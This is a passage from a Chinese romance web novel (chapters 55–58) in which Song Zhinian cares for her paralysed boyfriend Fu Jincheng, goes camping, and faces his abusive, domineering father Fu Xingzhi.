傅行止那时候正在擦拭着猎场的猎枪,他挥了挥手,让主人自己决定。 牧场的主人本就是为了讨好傅行止,见傅行止没说话,他就把目标对向了傅瑾承。 年幼的傅瑾承犹豫了一会儿,最后在主人的怂恿之下,选择了在他眼中身体更为强壮的猪。 随后,傅瑾承听到了那一声惨叫。 他分辨不出那是什么,甚至还不明白那是什么含义,直到傅行止带着他转过帐篷,他才看到了那声惨叫的来源。 刚刚在他面前看上去比牧场主人还要宽大强壮的动物,此时已经被割了吼,被刀割开的皮肉处,鲜血混着颈部的白色的脂肪一个劲外涌着,一滴一滴的,落于下方的桶中。 而他的父亲,走过去笑着接过了那把刀,顺着它的脖颈一刀划下,它扑腾了两下脚,最后完全的无了声。 但傅行止却像是脏了手一样,随手将刀还有那些白花花的脂肪丢到了牧场主人的手中,拿了张帕子擦完了手上的油腻和血迹,还笑着问他为什么选了猪。 年幼的傅瑾承摇摇头,他对自己面前名为父亲的男人产生了一丝的恐惧,他往后退了几步,脑袋被什么东西触碰到。 傅瑾承回过头去,便看到在他身后的树枝上,那条悬挂着的猪油正在微微地晃动着。 傅瑾承忍下了心头涌上的那股躁意和从胃中翻涌而来的胃酸,他别过脸去,用手臂挡着眼睛,不愿再看。 或许在一定程度上,除了还活着的这个事实之外,他和那头被他害死的猪并没什么区别。 训练时间完成的闹钟提醒正在丁零零作响,但是傅瑾承却迟迟没有什么反应。 宋知念让护工们先离开,她转身俯下身,看向傅瑾承。 他看上去是睡着了的,紧闭的双眼,缓慢的呼吸,就连刚刚护工给他从平躺转位侧躺,他似乎都没有什么反应。 但这恰恰证明,他还醒着。 “阿承?” 宋知念关掉主灯,移开他身旁的抱枕,从身后拥抱住了他:“怎么了?是因为我在吗?” “不是。” 傅瑾承摇了摇头,他已经感受到了宋知念环过的手,他向后靠了靠,将自己的肩膀贴在了她的手臂上。 宋知念基本上已经半躺在了床上,她此时就替代了那软枕的作用,她的身体支撑着傅瑾承身体的侧躺,傅瑾承的肩、背,和她紧紧地贴在一起。 身后被温热充斥着,身体的那种虚无漂浮的感觉好像终于消失,傅瑾承忍不住,叹了口气。 “很喜欢我抱你吗?” 似乎是傅瑾承的身体大部分位置丧失了一切的感觉,宋知念发现傅瑾承很喜欢靠着她,或者是用自己为数不多能感受到触碰的地方紧挨着她。 他好像尤其喜欢她抱他,每次只要她的手环过他的肩膀,她就能感受到他肩部肌肉的放松。 “嗯。”他是背靠着她的,只能将头向后靠了靠,枕在了她的胸口处。 傅瑾承抬起头,正好还能看到她的流畅秀美的下颌,他自然知道他身后的是什么,他的余光还能看到布料勾勒的起伏,这让傅瑾承的耳朵都有些通红,他笑得腼腆,却还是再说:“我很喜欢。” 他很喜欢她抱他,他身上有感觉的地方会完全贴合在她的身上,让他悬浮于空中的身体有了些落地的真实感。 他也很喜欢她亲他,那些唇齿之间的交合,总是令他感到迷离。 他又想亲她了。 “念念。” 傅瑾承拉了拉宋知念的衣角。 “你刚刚亲了我,现在,我能不能亲你?” : 第55章 第55章傅先生,这是你的奖励…… “不许亲了。” 宋知念低下头看着他,用手指抵住了他的唇,表情严肃道:“你要休息了。” 他的心理状态不好,虽然据陈医生说还没有损伤到大脑,但是宋知念也听说过心境双向情感障碍,她可不敢让傅瑾承情绪起伏太大。 况且,她可不认为傅瑾承方才清晰的情绪变化是真的是什么都没发生。 他们心里藏着的事情比表面上的要多得多,一些相似的情景、重复的压力,都足以导致水面的平静被打破。 傅瑾承仰起脸,表情有些不满,但是看宋知念一副已经决定的模样,再多的不满只能应下。 他转过头,将脸侧在她的怀里,手指缠着她的头发,却不和她说话。 她遥控着关了房间内的电灯,只留床头手动控制的小灯。 “睡吧。” 宋知念低下头,将手盖在傅瑾承的眼睛,承诺道:“明天早上你一睁眼,就能看到我。” 现在是晚上九点半,再过两个小时,刚刚才被翻过身的傅瑾承又将再一次被翻身吵醒。 他的夜晚不再完整,但是不完整的,又岂止是夜晚。 手心中的眼睫不甘心地划过她的掌心,像是在挑逗她一样,见她一幅不为所动的模样,最后终于合上。 宋知念在房间之中待了许久,久到她怀里人的呼吸变得绵长,久到他的手已经落于床上,她这才缓缓地将枕头放回到他的身侧,给他将被子拉到胸口的位置。 她回过身,转身看向他。 月光透过窗户落于室内,月光连他脸上细小的绒毛都照映得清楚,他看上去是如此的平静。 宋知念低下头,温热的唇瓣贴上了他的额头,补上了他刚想要但她却不给的礼物。 “晚安,傅先生。” 她轻手轻脚地走了出去,在房门关上之际,她似乎听到房间之中传来一声轻叹。 晚安,念念 * 宋知念和父母都有晨跑的习惯,虽然家里有跑步机,但她们还是更喜欢沿着小区的人工湖慢跑一会儿。 她们沿着湖跑了一圈,开始转为走路。 这一处别墅区的自然条件非常优越,背靠山,面朝湖,晨起的时候,周围还能听到各类的鸟鸣。 从人工湖回到他们家,最近的路是她们家的后门。 眼前的别墅的轮廓渐渐明显,他们三人放慢了脚步,宋知念目视前方,却也知道父母的目光已经时不时落在了自己的身上。 她们走到了两座别墅的岔路口。 “我们念念是要回家,还是要去找……”宋母想了想,实在不知道如何称呼:“春天?” 宋知念有被父母看出心思的羞涩,她有些不好意思摇着母亲的手撒娇:“是男友啦。” “我们念念这是走出来了啊。” 宋母的个子没有宋知念高,但她还是揉了揉扑在自己怀里女儿的脑袋,感慨道:“还会想那个男孩子吗?” 宋知念的父母从来不阻拦着宋知念恋爱,他们知道宋知念受过情伤。 在她和徐承运订婚的时候,甚至都直接和徐承运说明过宋知念心里有人,建议徐承运可以直接和宋家老爷子这边拒绝这段定亲,他们也会给他补偿,但奈何徐承运没有听他们的,才会有后面那些祸事。 宋知念摇了摇头,抬起头时脸上却是开心的模样:“还是他。” 她这辈子只对一个人动过心,那是她第一次体会到心动的感受,从此之后,其他人似乎都再也无法波动她的心弦。 宋父宋母对视了一眼,眼里有些犹豫,宋母率先问道:“当时是他分手的,他现在回来找你,不会是……” 她们家是生意人家,虽算不上是名门望族,但也是有些小钱。 像男孩子这般分手几年不见又回来的,很难不会令她们想歪,而且 这样的人品,也令她们感到不满。 “妈妈,他的情况比较特殊。” 宋知念打断了母亲的话,抬眼看到三楼的落地窗帘已经半拉开,便知道傅瑾承快醒了。 “妈妈,妈妈。”她拉着母亲的手摇啊摇,腻歪着道:“相信我好不好,我的眼光一向不差的。” 宋知念举起手,像发誓一样,脚步和身子却已经往旁边倾斜:“他真的是情况有些特殊,昨天又出了些事情,我等他稍微好一些,带他来见你们好不好?” “腿长你自己身上的,我又不能拦了你去。”宋母见女儿如此维护那个男孩子,虽然不满,却又不能说什么。 见女儿还拉着自己不放,宋母只能挥挥手像是赶苍蝇一样,冷哼一声:“去吧去吧,去找你男友去,在我面前我还看还心烦。” “那我走啦。” 宋知念小声地欢呼了一声,几步就跑到了门口,大门门卫似乎对她已经很熟悉,早早就在门口等待,见她过来直接开门将她放了进去。 宋母按了按自己的胸口,颇有些女大不中留胳膊肘往外拐的感触,见旁边的丈夫还在看着关闭的大门,宋母肘击自己的丈夫,不满:“看什么呢,人都进去,回家了。” “昨天来找念念的是傅家的二儿子。”宋父终于开了口,和宋母确认。 宋母点点头。 “藏也不会藏好点。”宋父笑了笑,脸上已经露出了然:“我的好夫人,你想我们家念念什么时候别人家的八卦感兴趣过?” 宋母怔愣了片刻,猛然反应了过来:“你是说,傅?” 宋父颔首。 他们家这个不喜欢老的,也不喜欢太嫩的,傅家除了个老鳏夫之外就两个儿子。 是哪个,基本上也能猜到了。 “走了夫人。” 宋父最后看了眼别墅,推着宋母往家走:“你再怎么看她也不会出来的,还不如等她给你把人带来。” 宋母瞪了眼宋父,往家的方向走了。 三楼的窗户半拉着,洗漱用品都已经放在了里间的桌上。 “本来是这个点差不多要醒的。”管家小声说道:“但是早上五点多的翻身之后一直没睡,可能才睡下没多久。” 宋知念点点头,和管家道了谢,坐到了傅瑾承的床边。 夏天的被子都是薄薄的一层,几番抱着被子翻滚,就会留下褶皱,但他的被子却平整整齐,严严实实地从胸口裹到脚。 宋知念试探地伸出手,她想要打破这般平整无趣的被褥,她伸进了被褥之中,抚摸着他的胸口。 胸口下的皮肤是如此的冰凉,明明躯体之中的灵魂与血液依旧滚烫,但他们却软绵的如同一滩死肉。 她的手摸到了斜穿他胸膛的那道疤痕,那道疤痕有凸起的增生痕迹,凹凸不平的,令宋知念心惊。 光影泻下,傅瑾承听到了被子之中窸窸窣窣得声音,有些不耐的睁开眼,却看见她正目光专注的看着自己的被褥。 “念念?”他的声音之中还存着困意:“你在看什么?” “阿承,你醒啦?” 宋知念凑过头去,她凑到了傅瑾承面前:“看吧”,我说话算话吧? “嗯。” 傅瑾承笑笑,他抬起手,揉了揉宋知念的脑袋:“我们念念最遵守承诺了。” 她们两个人,只有他没有信守承诺。 想到这里,傅瑾承的目光黯淡了下来。 “起床啦,”宋知念坐在床边,对傅瑾承伸出手: “今天是周末,我和谢医生说了,复健的时间都调整到上午,下午林芸约我们去露营,她和顾书屿早上去准备。” 傅瑾承一下不能起得太高,体位的变化容易产生体位性低血压的头晕,但他还是伸出了手,拉住了宋知念。 但宋知念却并未用力,她晃了晃她们的手,确认傅瑾承拉的足够牢固后,道:“现在来握住我的手腕。” 傅瑾承的左手放下去做支撑,但右手却顺着宋知念的要求,往上一步步拉着她的手。 手腕、胳膊、关节再到微曲的大臂。 她们一点点地靠近对方。 终于到了最后,傅瑾承支撑的左手一个用力,但因为两边重心有些不稳,傅瑾承一个不小心,右手脱开了宋知念的手臂。 宋知念向前了一步,将他拥入怀中。 “感觉怎么样?” 宋知念侧过脸,碰碰傅瑾承的脸,这个动作本身不累,但是因为傅瑾承身体的限制,这简单的动作都让他微微出了汗:“有没有不舒服?” 最后一下角度变得太快,傅瑾承眼前还是有些阵阵的发黑。 他靠在宋知念肩头上,点点头缓缓道:“有点头晕,我想靠一会。” 床的角度已经被宋知念调高,傅瑾承靠在她的肩头休息了会儿。 见他醒了,护工端来洗漱用品让傅瑾承洗漱,完成后,傅瑾承让宋知念把他的轮椅推到床边。 他指挥着宋知念将轮椅固定锁上,再沿着床,自己从床上转移到轮椅上。 他身体没好全,本身的动作也不快,这么拖着下半身倒着往轮椅的方向爬了许久,这才完全地坐在了轮椅上。 傅瑾承把自己的脚搬到脚踏板上,他的脚下垂的厉害,被他用蛮力放了两三次,那脚下落砸在地上的声音听着宋知念心忧。 他就是不想让护工来帮忙,这才在护工离开后,才开始尝试。 在傅瑾承第三次尝试后,宋知念按住了傅瑾承已经蹦起的手。 她半蹲在轮椅前,举起他的手,他用的力太大,手掌都有些发红,腿上的伤还没好,再这么折腾下去,更加容易加重。 “阿承,你来教我,我来帮你。” 宋知念抬起头,她眸中含着笑,就好像这只是件最为平常的事情。 “好吗?” “你看,你的自主转移已经完成了。”宋知念循循善诱道:“现在就是巩固一下劳动成果呀。” 傅瑾承沉默了一会后,才说道:“帮我把脚底压在踏板上,然后扣上带子。” 宋知念按照傅瑾承的教法抬起他的膝盖,将他的脚底压在踏板上,再给扣好两边脚的束缚带。 这个动作其实很简单,但是傅瑾承应该是看不到踏板的位子,才几次落空。 宋知念确认好带子的松紧后,凑到他的面前,颇有几分自得:“你看,我是不是一教就会?” “嗯。” 傅瑾承有些无奈地笑笑,他确实想要自己来完成的,但是事与愿违,在宋知念确认束缚带的时候,他也给自己扣上了腰间的带子。 他想要将轮椅开到二楼,却感到身下的轮椅被人拉住。 傅瑾承回头一看,宋知念正拉着他轮椅后面的带子,挑着眉看着他。 “念念?”傅瑾承有些困惑:“不下楼吗?” “下啊。” 她凑近了他,脚勾过了他的轮椅,见他勾到了自己面前:“但是再下之前,还有件事情。” 她两只手撑在轮椅边,靠近了他, “现在,可以亲了。” 他的手已经抚上了她的脸,几乎是她的一声令下,他们的呼吸便交织在了一起,他们的唇瓣互相包裹着、缠绕着,如蔷薇攀爬上烈火焚烧的岩石。 喘息渐渐急促,宋知念在他耳畔处嫣然道: “傅先生,这是给你的奖励。” 第56章 第56章傅行止,放开她 车子远远地从山庄大门开进来,宋知念按下车窗看了看,眼前是一片漫山遍野的绿草地,远处还能远远看到几座山庄的主楼。 “顾学长这是选了个高尔夫球场来露营?”宋知念打开地图,看了下地标,有些疑惑。 她们露营的食物是林芸准 备的,地点是顾书屿选的。 “嗯。”傅瑾承抬眼看向宋知念身后的绿茵草地,颔首道:“这是阿屿前年开发的高尔夫球场,还没开始运营。” 他知道顾书屿这个项目,当时这个项目的开发和整体的设计之中,也有傅瑾承的协助和参股。 在他的印象里,这个地方应该今年十月会开始营业。 小河边,林芸已经在疯狂地冲着宋知念摇手示意:“念念!这里!这里!” 宋知念从车上下来,三步并作两步跑过去,和林芸撞了个满怀。 “好久不见,芸芸!” 她们已经好久没见,一个是因为傅瑾承的原因,还有因为林芸教的班级这学期要准备选学考,因为学生的事情,林芸忙得不可开交,有时候就连聊天都是有一搭没一搭地应和着。 只有在学生月考周考的成绩令林芸心寒的时候,林芸才会连续不间断用短信轰炸宋知念,以抒发她内心的悲愤。 这次露营,也是她实在无法忍受自己周末就躺在家里休息,加上顾书屿的盛情邀请,才干脆一起约了宋知念出来。 这是两处草坪交界的小河边,帐篷、小桌,都已经由工作人员搭好,顾书屿拉着小车从一边的道路上下来,见傅瑾承身后推着轮椅的护工,干脆和护工交换了一下,让护工帮他把东西拉到帐篷边。 “能把你叫出来的,果然只有宋学妹。” 顾书屿推着轮椅,含笑着道:“早上林芸和我说你也来,我还以为是有人抢了你的手机给我发信息。” 傅瑾承看着远处已经手拉手一起去帐篷的两个人,脸上因为出门而导致的僵硬和紧张微微舒展了开来:“知道你要追林芸,这不是给你助阵来了?” 他和顾书屿从小认识,对方是什么性格,两人心中也都清楚,平白无故约人家出来露营,不是顾书屿的风格。 “就你还助力呢。” 顾书屿冷哼道:“要不是当年帮你分那个手,那姑奶奶也不会此后三年一直对我爱答不理的,搞得我像是那个拆散鸳鸯冷血无情的人一样。” 顾书屿早就已经对林芸动了些心思,只是大三的时候没有做好准备,到了大四打算追的时候,又成了让人家姐妹伤心难过的罪魁祸首。 要不是那次他来找宋知念谈,正好碰上林芸,都不知道什么时候才能有缘相见。 两位女士的速度很快,就在他们过来的时候,她们已经在露营的桌上摆满了零食、水果和甜品,琳琅满目,把桌子都填满了。 林芸似乎嫌弃他们的动作有些慢,在摆东西的时候还皱着眉时不时往他们这里看。 自从选择了教师,林芸的皱眉或者面无表情的时候,都已经有些不怒自威之感。 顾书屿拱手求饶,加快了速度,把轮椅往营地推去。 傅瑾承的目光不在他们身上,随着轮椅渐近,他看到了已经坐在椅子上理着面前饮料的宋知念。 她正在摆着每个人的杯子,简单的动作,却还是一副专注的模样。 宋知念似乎做什么都是认真的模样,从他认识他那一天起就是这样。 对待那只可怜的小猫咪,对待每一次的学生工作,对待自己手中泡的每一杯咖啡,都是如此。 傅瑾承微微一笑,像是对顾书屿说的,也像是对自己说的。 “幸好,现在也不迟。” 即使身躯已经被桎梏于伤病之中,即使时间已经被工作所束缚,但是唯一不变的,是那向往着天地之间的灵魂。 他爱她。 而幸好,她也还爱他。 她们一直在高尔夫球场待到了落日的时候,才互相道了别。 夏末与初秋的交界,就连晚霞都会染上绚烂的秋色,空气中也带着初秋的凉意。 回到家后,宋知念盯着傅瑾承回到床上,又量了量他的体温,逼着他喝下一包感冒冲剂预防感冒,这才安下心来。 傅瑾承连人带被子,被她包裹成了一个毛毛虫,他努力从被子的上层钻出来,向宋知念表达不满:“我没事,不用这么小心。” 他就是离开的时候咳嗽了几下,转头就把宋知念吓得大惊失色,回到家便来了这么大的阵仗。 傅瑾承的抗议并没有奏效,在宋知念那么一瞪眼之后,他乖乖地钻回了被子里,拉了拉被子,给自己盖好。 她们刚刚上来得太急,就连她的包都没拿,宋知念左右看了看,想起自己上来前随手把包放在了沙发上,便和傅瑾承说道:“我去楼下拿下包。” 她下着楼,突然感到了一丝的异样。 刚刚还热闹的楼下突然变得异常安静,之前还在给她打招呼说自己去切水果的管家都不见了身影。 宋知念有些奇怪,她走到楼下拿了自己的包,再转头时,第一眼看到了站在门口的男人。 院中的古树随着晚风刷刷作响,本是一片宁静祥和之象,但是却被格格不入的他所打破。 他是逆光而来的,光从他的身后照进了室内。 房屋的阴影在他的脸上投下一层阴影,挡住了他的眉眼之间的狠戾,令人看不清他在想什么。 宋知念拿着包,站直了身子双手抱起,直直地看向他。 房间内依旧一片死寂,在这般诡异的气氛中,她已经大概猜出来了来人是谁。 只有一个人,能有如此逼人的气场, 她向前走了几步,在摇晃的影子之中,看清了傅行止的长相。 不可否认的是,傅瑾承优越的外貌确实随了傅行止,那高挺的鼻梁、微抿的薄唇,几乎都和傅行止一模一样。 唯一的区别,就是傅行止更加狠戾的眉眼,以及他身上就居高位不怒自威慑人的压迫感。 傅行止看着她,眼中竟然带着一丝说不明的戏谑。 宋知念皱了皱眉,脊背生出凉意。 她讨厌傅行止的这个眼神,好像来见她,只不过是工作疲惫之余到动物园去戏耍一下动物。 猴子太过叛逆、豹子太过狡诈,所以他先来这里见见她。 “宋知念,是吗?” 门外的人低沉地笑了笑,他的声音带着淡淡的磁性,乍一听上去,只觉得令人如沐春风。 傅行止的步子很大,两三步就走到了她的面前。 隔着中间的插花,她们两个摇摇对视着。 他的身形高大,举手投足之间,西装的布料勾勒着常年健身留下的肌肉,一步一逼,令宋知念下意识地后退了一步。 “小姑娘,你的待人接物水平,看来还有待提高。” 傅行止似乎并不在意她下意识地后退,他轻笑一声,笑声之中是说不清道不明的轻视:“你的父母,应该不是这样教你的吧?宋家的家教,是真的还需要提高了。” 给自己找了个这么胆小的女友,他的儿子还真的是越活越回去了。 “失礼了,傅先生。” 宋知念冷静下来,掐了掐自己的虎口,再抬头时,她的脸上已经挂起了生疏而客套的笑意:“您先到客厅坐一下吧,阿承他今天有些不舒服,刚刚休息。” 傅行止的带着恶意的压迫感太过明显,宋知念想起昨天见到傅瑾承的模样,内心之中却不想他们见面。 眼前的女孩子并不欢迎他的到来,傅瑾承的手指搭载花台上,饶有兴味地哦了一声,挑了挑眉,反问道。 “怎么,和女朋友出去在外面待了一天都不说不舒服,我来见他,他就一副不舒服的模样。”他像是颇有感触一样感慨道:“不知道的,还以为他不喜欢我这个父亲。” 傅家父子不和早已经摆在明面上的事情,但是傅行止这样讥讽的言语,着实令人不快。 宋知念还想反驳,却看到傅行止往前走了几步,她来不及闪避,只能被迫被他捏住下巴。 傅行止地指尖用力,抬起宋知念的脸,上上下下地打量了一番。 “放开我!”宋知念愤怒地一手抓住傅行止的手,一手扇向他的脸。 傅行止像是早就已经有防备一般,一低头便避开了宋知念的手,宋知念的手还想再动,却被他一把抓住。 “真不错啊。” 傅行止眯起了眼,看向面前熟悉的表情、陌生的面容,脸上带上了享受与怀念。 “我已经好久没看到这样的表情了。” 他咏叹般地点评道:“虽然没有她好看,但这张脸长得还不错,脸上的表 情看着也很到位,和她倒还是蛮像的。” 这样屈辱的、却带着些自傲的表情,和记忆中的她一模一样。 “傅行止,你松手!” 宋知念咬着牙下意识地挣扎,但是傅行止却并没有为她所动,相反,他更加用了力。 那些被他的目光注视过的地方,就好像是被阴狠的毒蛇用蛇形子一点点地舔舐而过。 宋知念知道。 面前的这个人,是个实实在在的变态。 她的挣扎在他面前如同小儿胡闹一般,正在他们僵持的时候,宋知念的身后传来了一道熟悉的声音。 这道声音有些疲惫,却带着至深的冷意与恨意。 如同冰刃,刺向对方。 “傅行止,放开她。” 第57章 第57章“接住你了,傅瑾承。”…… 傅行止眯起眼,他的视线低垂着越过宋知念的肩头,看向她身后的傅瑾承。 傅瑾承没有回避他的目光,他看向自己面前名为父亲的男人,眼中只有着滔天的愤怒与冷意。 “放开她?” 傅行止嘴角勾起,却是一副不屑的模样,他上下打量了傅瑾承一番:“就凭你这副可怜的身体,你还敢命令我?” “看来吴叔一个人还不足以动摇到您。”傅瑾承冷笑一声,一字一字地重复了一遍。 他的话音落得极重,仔细听来,还能听到他尾音因为愤怒而产生的颤抖: “我说,放开她。” 傅行止呵了一声,他手底下的干将虽不止老吴一人,但到底是在他身边忠心耿耿跟了他几十年的心腹。 在他被带走纪委调查后,剩下的人对他也没有曾经那般的忠诚。 傅行止自然看得出来,在这背后组局的人到底是谁。 他捏着宋知念的手指抬了抬,他看到了眼前女孩子愤怒的目光。 他恍神想到,这个女孩子还是和她不一样,她的愤怒中带着哀求,他还是更喜欢她的表情。 他享受着把雀鸟折断翅膀的快感,更享受着猎物无法逃离的绝望带给他的控制欲。 但是面前这个女孩子,倒是和他这个儿子一模一样。 “真无趣。” 傅行止忽然有些倒胃口,他将手松开,像丢垃圾一样将宋知念往旁边一甩。 宋知念没有防备地被他推到了一边,她的重心有些不稳,就在她差点摔倒之际,她的腰间被人扶住。 那双手有些冰凉,宋知念抚上他的手,借着他的力道站稳后,那双手却又迅速地收了回去,像是在逃避着什么。 “阿……承?” 宋知念还没来得及说我没事,她甚至都还来不及看清傅瑾承的模样,便看到轮椅从她的旁边驶过。 轮椅是直直地冲着傅行止去的,椅轮的转速似乎被傅瑾承拉到了最大,直到到了傅行止面前,才堪堪刹住。 傅行止也被傅瑾承的动作吓了一跳,他下意识地后退一步,才避免自己如同小丑一般可笑地被轮椅撞上。 傅瑾承的行为激发了傅行止的怒气,他刚想上前一步,却听到手机的电话铃突然响了起来。 傅行止本不想打算理会电话,他的手已经抓住了傅瑾承的衣领,但是下一刻,他的私人电话也猛然开始震动起来。 两部手机交替着在他身上震动着,傅行止终于有些不耐,他拿起手机,也没仔细看来人,便接起来电话。 电话那头,传来了女子哭泣的声音,通话的人似乎连完整的语句都说不出来了。 兴头儿上的傅行止被人凭空打断,他咒骂了一声,刚想挂断电话,才看清来电人的姓名。 这是…… 傅行止眼神微变,这是他心腹高管拿着别人身份证办的另外一个私密的手机号,他给他的备注甚至都是身份证原主人的名字。 非特殊情况,他们不会用这个电话。 他喂了几声,手不由得松开了傅瑾承的衣领。 对面女子的哭声未曾消散,但是傅行止却敏锐地听出了这是高管妻子的声音。 傅行止松了松领口,忍着心中的躁意问道:“弟妹,怎么了?” “傅董,老刘他,他昨晚和我说有……祈安他们有应酬,我看他一直没回家也没在意。” 女子喘了口气,转瞬间却发出了更加凄厉的哭声,她哭得上气不接下气:“但是刚刚有人说,他和老吴一样被带走了!” 傅行止目光凌厉,他握紧了电话,垂眸看向傅瑾承。 他们中间只隔了半步的距离,感受到傅行止的目光,傅瑾承抬起头,对着傅行止微微一笑。 他目光了然,似乎早已经知晓。 傅行止暗念一声该死,一边低声安慰着电话对面的高管夫人,一边转身疾步向外面走去。 昨晚被带走,今天才被人告知。 如果不是他来了傅瑾承这里,怕是被带走的消息还要被瞒上几天。 傅行止拿着电话,走到大门之际,他猛然回头,怒视着傅瑾承。 脸上的儒雅和温润似乎完全被电话撕破,露出来面具底下真实的模样。 他咬牙切齿道: “我真是小看你们了,傅瑾承。” 傅瑾承遥遥望着傅行止,嘴角勾起道:“您走好。” 直到外面的汽车声响起,傅瑾承才算是完全地放松了下来,他调转了轮椅的方向,看向宋知念。 方才的强势和强硬在这一瞬间消失得无影无踪,他像是突然泄了气一般,靠躺在椅背上,看着宋知念。 “念念。” 傅瑾承的手指点在轮椅的控制面板上,轮椅向前开了一点,却又转瞬间停下。 他望着她,目光疲惫,脸上又有些害怕与恐惧。 他想向前,但是他却有些不敢向前。 见宋知念看向自己,傅瑾承的目光躲闪了几下,最后还是垂下了头,没有再抬头。 “对不起,念念……”他的声音苦涩颤抖:“都是我的错……” 傅瑾承不敢抬头,他怕在宋知念的眼中看到失望与不满:“是我没有保护好你……” 他根本无法控制住自己的情绪,后怕和自责瞬间涌上他的心头。 如果不是他为了放松傅行止的警惕,如果不是他想要拉长战线,宋知念今天就不会遭受这一切。 他知道傅行止的目光有多让人难受,他从小就是遭受着这样的目光过来的,他知道傅行止深处的恶意,但是他却阻止不了傅行止的所作所为。 他不是个称职的男友,在宋知念这样遭人对待的时候,他甚至都没有办法去帮她,他甚至都没有办法保护她。 宋知念没有说话,傅瑾承低着头,眼前只能看到自己经开始内扣的双腿,他攥紧了手,眼眶发酸,声音沙哑干涩:“念念,如果你要想……” 他顿了顿,深吸一口气,像是终于认命做出了决定:“如果你想要和我分手的话,也没关系。” 他能理解她,宋知念本身就是备受家里保护的女孩子,她本不应该如此受辱,都是因为他的原因,才会让她遭受这些。 无论是大学时候那些流言,还是现在来自他自己父亲的侮辱。 一直以来,都是他的问题。 如果不是他,如果没有他,她应该能过得更加幸福美满。 而不是被他拉着,去见到了如此畸形扭曲的家庭。 他的泪水从他的脸颊边滑落,但傅瑾承不想让宋知念看到,他知道她是个心软的女孩子。 他想,他应该上楼,先让宋知念冷静一下,去思考一下他们的关系。 等到她想好了,即使面对的是满室的空寂,傅瑾承也认了。 傅瑾承悲哀地想。 和那些人说得一样,无论是母亲,还是她,归根结底,都是因为 他。 如果没有生下他,母亲不会遭受父亲的欺辱,如果没有他,宋知念不会受到父亲无礼的侮辱。 他连着手都有些颤抖,他的手指点了好几次轮椅的控制屏幕,但是都按错了位置。 傅瑾承无力地闭上了眼睛。 满室的寂静之中,傅瑾承感觉自己根本听不到宋知念的声音。 傅瑾承的心里越发苦涩,那些压抑许久的情绪再一次地爆发,他急速得喘着气:“念念,我只有一个请求……” “如果你要和我分手……能不能,能不能不要赶我离开这座别墅。”傅瑾承压抑着自己的痛苦,努力不让自己的脆弱完全爆发在她的面前。 “和之前一样就好。”他急迫地说道:“我只想看看你,真的,我只会看看你……” 除了看她,他什么都不会做。 “所以,你能不能……” 能不能不要赶他走,能不能不要带走他最后一丝的希望。 傅瑾承有些绝望地想。 他的耳边似有似无地传来了一声叹息,傅瑾承不敢睁眼,他死死地紧闭着眼睛,害怕是自己的幻觉,不敢抬头。 “傅瑾承,” 宋知念叹了口气,她有些无奈,她刚刚喊了傅瑾承好几次,但是他似乎根本没有理会她的意思。 他像是已经完全被自己的情绪所吞噬了,一点外界的声音都无法出现,宋知念只能快步上前,握住他攥紧的手。 他的手崩得死死的,手腕都是用了力的扭曲,宋知念抚摸上他的脸,但是似乎根本不奏效。 傅瑾承将自己关进了另外一个世界之中。 宋知念想了想,她干脆把轮椅推到了沙发边,那边有地毯,就算他摔下来也不太会受伤。 傅瑾承似乎根本察觉不到自己的移动,他不断地皱着眉痛苦地挣扎着,嘴里时不时发出些呜咽声 在沙发旁,宋知念解开了傅瑾承的束腹带。 她先解开了腿间的,随着带子的松开,那两只脚无力地垂落到了地毯上,摆出了奇怪的姿势;随后她又起了身,解开了傅瑾承腰间的束腹带。 随着腰间的束腹带解开,原本被牢牢固定在轮椅上的傅瑾承渐渐顺着重心滑落了下来。 重心的偏移和轮椅的脱离终于让傅瑾承的身体意识到了不对,他猛然睁眼,但是下一瞬间,他已经靠上了她的肩头。 宋知念跪坐在地上,抱住了从轮椅上坠落的傅瑾承。 “我接住你了,傅瑾承。” 第58章 第58章“我不值得你为我这样哭…… 客厅之中的钟表正在一秒、一分地摆动着,宋知念保持这个跪坐的姿势太久,让她的腿脚一阵酸麻。 宋知念刚挺直了一下腰,就感觉环抱在自己腰间的手扼的越发紧了些。 像是怕她跑了一样,他的力道越来越大,连肩膀也在发抖,宋知道他还在莫名的恐慌和担忧之中。 “我在呢。” 宋知念将手环到傅瑾承肩背的位置,一下下地抚摸着他脖颈处的脊骨,她的手将他的肩膀完完全全地包裹住,那是他为数不多还能有知觉的位置。 脸颊边的肌肤泛着阵阵的寒意,宋知念侧着脸,将唇抵在他的耳侧,一遍遍地呼唤着傅瑾承的名字。 过了许久之后,那双紧紧扼住她腰间的大手终于松开了些力道。 他低低地应了一声: “嗯。” “念念,我讨厌他,也讨厌我自己。” 傅瑾承靠在她的肩上,他能看到自己垂落于地上的手,因为方才的用力,这双手此时只能无力地蜷曲在地上。 他的手形继承的是傅行止的手,他看到过那双手攥成拳的模样,更看到过那双手掐着母亲的脖子,将她抵在墙上的模样。 “有时候,我想起来我的身体之中有他的一半血液和基因,我都觉得自己很恶心。” 他讨厌他的这副身体,厌恶身体之中留着的血液。 尤其是,即使是傅瑾承也不得不承认,自己实在和傅行止太过于相似。 无论是身高外貌、还是性格和工作方式,甚至于当傅瑾承大学进入自己家公司实习的时候,那些熟悉他父亲的高层有时候都忍不住感慨他们父子的相似之处,甚至还有些人曾经将他的背影错认为父亲的。 “傅行止自己都知道,我和他太过于相像。” 和他一样阴险,和他一样狡诈。 傅瑾承嘴角勾了勾,想起傅行止昨日来的时候说的话。 “傅瑾承,你和我有什么区别?你看宋家女儿的眼神太让我熟悉,熟悉到甚至令我作呕,你对老吴和那些墙头草的引诱,又和我有什么区别?” “所有人都以为是傅祈安聪明,谁都以为老吴进去是因为自己不小心,可是有谁知道,傅祈安的背后有个你,而老吴的账本又是被谁送给那些人的。” 傅行止冷冷笑了笑,用手勾起傅瑾承的脸:“承认吧,傅瑾承。” 他的声音如同鬼魅,试图将傅瑾承一起引诱进地狱。 “你我父子,并没有什么区别。” 想到这里,傅瑾承的眼眸之中染上了一抹阴鸷。 他不想和傅行止一样,也不能和傅行止一样。 他从大学进公司的那一刻,不,甚至可以说从更早远的,从母亲去世开始的想法和谋划,就是为了让自己不变得和傅瑾承一样。 “他们说的那个老刘是怎么回事?” 宋知念想起自己被傅行止抛开时候傅行止的语气和动作,她敏锐地从里面知道了不对:“那个老刘,是你父亲的手下?” “不只是手下。”傅瑾承摇了摇头:“刘叔和吴叔是我父亲多年手下,许多事情,我父当年亲不方便做的,早些年都是他们做的。” 他也是后面才知道,原来母亲母家娄家的覆灭还有母亲被囚禁,其实也和这两人有关。 “后来父亲将他们的位置升得越来越高,他们两个为了逃避检察,才将那些受贿行贿的事情交由心腹代收。” 